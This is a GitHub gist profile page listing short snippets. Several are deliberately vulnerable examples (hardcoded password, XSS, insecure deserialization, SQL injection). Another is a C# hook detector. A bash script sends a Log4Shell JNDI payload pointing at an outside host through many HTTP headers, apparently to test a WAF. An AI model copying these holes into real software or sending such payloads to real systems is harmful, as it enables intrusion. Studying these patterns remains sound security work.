Skip to content

Instantly share code, notes, and snippets.

View 6a6f6a6f's full-sized avatar

Jojo 6a6f6a6f

View GitHub Profile
@6a6f6a6f
6a6f6a6f / app.cs
Created February 23, 2022 20:40
var passwd = Encoding.Default.GetBytes("s3nh4_s3g5r4");
var givenPasswd = Encoding.Default.GetBytes(Console.ReadLine());
if (passwd.Equals(givenPasswd))
{
Console.WriteLine("oh not :(");
Environement.Exit(0);
}
Environement.Exit(-1);
@6a6f6a6f
6a6f6a6f / app.py
Created February 23, 2022 20:30
def render_string(self, s):
self.response.out.write(s)
def get(self):
message = f"Sorry, no results were found for {self.request.get('query', 'empty]')}."
self.render_string(page_header + message + page_footer)
# ...
@6a6f6a6f
6a6f6a6f / app.java
Created February 23, 2022 20:30
public class Person implements Serializable {
private String firstName;
private String lastName;
//...
}
FileInputStream fileIn = new FileInputStream("personSerialized");
Person person = (Person) new ObjectInputStream(fileIn).readObject();
@6a6f6a6f
6a6f6a6f / app.kt
Created February 23, 2022 20:29
fun validateUser(username: String, password: String): Boolean {
// ...
val sql = "SELECT COUNT(*) FROM USER WHERE USERNAME = '" + username + "' AND PASSWORD = '" + password + "'"
val rs = statement.executeQuery(sql)
// ...
val result = rs.getInt(1) > 0
// ...
return result
}
@6a6f6a6f
6a6f6a6f / findhooks.cs
Created December 17, 2021 14:28
Find hooked API's using C#
using System;
using System.Runtime.InteropServices;
/* References
* 1. https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions
* 2. https://github.com/Mr-Un1k0d3r/EDRs
*/
namespace SharpHookCheck
{
@6a6f6a6f
6a6f6a6f / aaaa.sh
Created December 13, 2021 23:48
#! /usr/bin/env bash
TOTAL_BLOCKED=0
while IFS="" read -r HEADER || [ -n "$HEADER" ]; do
RESPONSE=$(
curl --silent "https://8i17duelvl.execute-api.us-east-1.amazonaws.com/dev/pets" \
-H "$HEADER: \${jndi:rmi://pudim.com}" \
-H "Content-Type: application/json" \
-o /dev/null -w "%{http_code}"
)
@6a6f6a6f
6a6f6a6f / headers.txt
Created December 13, 2021 23:31
Referer
X-Api-Version
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Cookie
Forwarded
Forwarded-For
Forwarded-For-Ip
@6a6f6a6f
6a6f6a6f / headers.txt
Created December 13, 2021 22:52
Referer
X-Api-Version
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Cookie
Forwarded
Forwarded-For
Forwarded-For-Ip
@6a6f6a6f
6a6f6a6f / keybase.md
Created July 8, 2021 19:35

Keybase proof

I hereby claim:

  • I am 6a6f6a6f on github.
  • I am bizarrenull (https://keybase.io/bizarrenull) on keybase.
  • I have a public key ASDqB3wbbFYaRHTTTh_E9RzWggjwNvYL4oqyjOKFrso9Hgo

To claim this, I am signing this object:

@6a6f6a6f
6a6f6a6f / Keybase.md
Created July 15, 2020 05:53

Keybase proof

I hereby claim:

  • I am BizarreNULL on github.
  • I am bizarrenull (https://keybase.io/bizarrenull) on keybase.
  • I have a public key whose fingerprint is 30A1 5E68 94A4 E114 71CD 2130 E99B D205 2B8B 264A

To claim this, I am signing this object: